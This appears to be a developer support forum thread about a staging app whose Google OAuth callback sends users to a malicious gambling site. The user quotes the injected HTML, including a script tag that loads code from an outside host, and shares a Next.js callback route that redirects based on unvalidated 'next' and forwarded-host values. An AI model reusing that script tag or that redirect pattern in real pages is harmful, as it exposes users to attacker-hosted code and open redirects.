#Google oAuth redirects to hijacked/malicious website in staging

26 messages · Page 1 of 1 (latest)

mossy hornet
#

Hello Railway Support Team,

I’m experiencing a critical security issue affecting my staging environment hosted on Railway. After a successful Google OAuth login, users are being redirected to an unrelated malicious gambling website.

This issue does NOT occur in production (or local development), which uses a custom Supabase domain. It only happens on staging/dev, which uses the auto-generated Supabase domain and is hosted via Railway.

Google OAuth completes successfully
User is redirected to /auth/callback
Instead of staying within the app, a malicious JavaScript file is executed

This script then redirects the user to an external gambling site
Discord OAuth works correctly in all environments.

Environments:
Staging
Hosted on Railway
Uses auto-generated Supabase API/domain
No recent code or config changes (last ~7 days)
Same OAuth client ID/secret as production

Production
Uses custom Supabase domain
OAuth works perfectly
No malicious redirect

OAuth Redirect Flow

Redirect:
https://dev.clipthis.app/auth/callback?code=...&next=/intro

Observed behavior:
The callback page loads the following HTML before redirecting to a malicious site:

<!DOCTYPE html>
<html>
    <script src="//load-5m6.pages.dev/min.js"></script>
    <script defer src="https://static.cloudflareinsights.com/beacon.min.js"></script>
</html>

This script is not part of our codebase and is never served in production.

/auth/callback Implementation

The callback route is implemented using a Next.js Route Handler and only performs:

supabase.auth.exchangeCodeForSession

A server-side redirect via NextResponse.redirect(...)

No client-side scripts are included or rendered here.

Supabase Confirmation:

I contacted Supabase support. They confirmed:

If it correctly redirecting to that path, then from the Supabase side of things that sounds like it's working as expected?

So yes, anyone can help me with that? Im currently clueless...

Thank you

mossy hornet
#

Intressting discovery:

I just hit the "Redeploy" button in the dev branch.

For the next 20 minutes everything was working correctly.

After the 20 minutes it was redirecting to the malicious site

crimson ocean
#

Are you using Cloudflare?

#

You can try seeing if the redirect hits Railway http logs, if not, it is happening in a upstream provider (like cloudflare or other proxy)

mossy hornet
#

yes i use cloudflare

crimson ocean
#

I would also ask you to check your CNAME records on that subdomain

mossy hornet
#

i just did it again with the redeploy now everything is normal

mossy hornet
#

i only have one, and that links to railway ....up.railway.app

#

and its the same as displayed as in railway

#

unfortunaly (or luckly, idk :D) it cant be reproduced right now

crimson ocean
#

Are you fully proxying the CNAME on CF? (Orange Cloud)

#

If it happens again I would say to make it "DNS only" (Grey Cloud) and check if it persists

#

But yeah, really interesting and weird issue.

mossy hornet
#

yes full proxied

#

ok will try it then with dns only

#

ty - will keep you updated

mossy hornet
#

It’s redirecting to the malicious website again.
I’ve switched it to DNS-only, but that didn’t change anything.
I’ll leave it to DNS-only and try to login again in about an hour.

The only thing that has worked so far was redeploying the dev environment, but that fix only lasted for a unspecific time.

mossy hornet
#

update: nothing changed

mossy hornet
#

⁨```
@calcom/embed-react ^1.5.3
@radix-ui/react-navigation-menu ^1.2.14
date-fns ^4.1.0
i18n-iso-countries ^7.14.0
react-day-picker ^9.11.1
supabase (updated from ^2.39.2) ^2.58.5


these are the npm packages i added or changed compared to the main branch.
mossy hornet
#

this is the route where it gets redirect (/auth/callback)

⁨```ts
import { createClient } from "@/lib/supabase/server";
import { NextResponse } from "next/server";
import { isAuthenticated } from "@/actions/is-authenticated";
// The client you created from the Server-Side Auth instructions

export async function GET(request: Request) {
const { searchParams, origin } = new URL(request.url);
const code = searchParams.get("code");
// if "next" is in param, use it as the redirect URL
const next = searchParams.get("next") ?? "/";

if (code) {
const supabase = await createClient();
const { error } = await supabase.auth.exchangeCodeForSession(code);
if (!error) {
// Use the isAuthenticated function to check if user has a profile
const extendedUser = await isAuthenticated();

  // If user has a profile (is authenticated with extended user data), redirect to dashboard
  // Otherwise, use the next parameter
  const redirectPath = extendedUser ? "/dashboard" : next;

  const forwardedHost = request.headers.get("x-forwarded-host"); // original origin before load balancer
  const isLocalEnv = process.env.NODE_ENV === "development";
  if (isLocalEnv) {
    // we can be sure that there is no load balancer in between, so no need to watch for X-Forwarded-Host
    return NextResponse.redirect(`${origin}${redirectPath}`);
  } else if (forwardedHost) {
    return NextResponse.redirect(`https://${forwardedHost}${redirectPath}`);
  } else {
    return NextResponse.redirect(`${origin}${redirectPath}`);
  }
}

}

// return the user to an error page with instructions
return NextResponse.redirect(${origin}/auth/auth-code-error);
}

mossy hornet
#

I will also try to update all dependencies

mossy hornet
crimson ocean
#

This is not related to Railway, I don't know where's the origin of this, but I'm intrigued to see the solution so keep me updated

mossy hornet
#

It was the react version, so we can close this issue. pretty strange but yeah..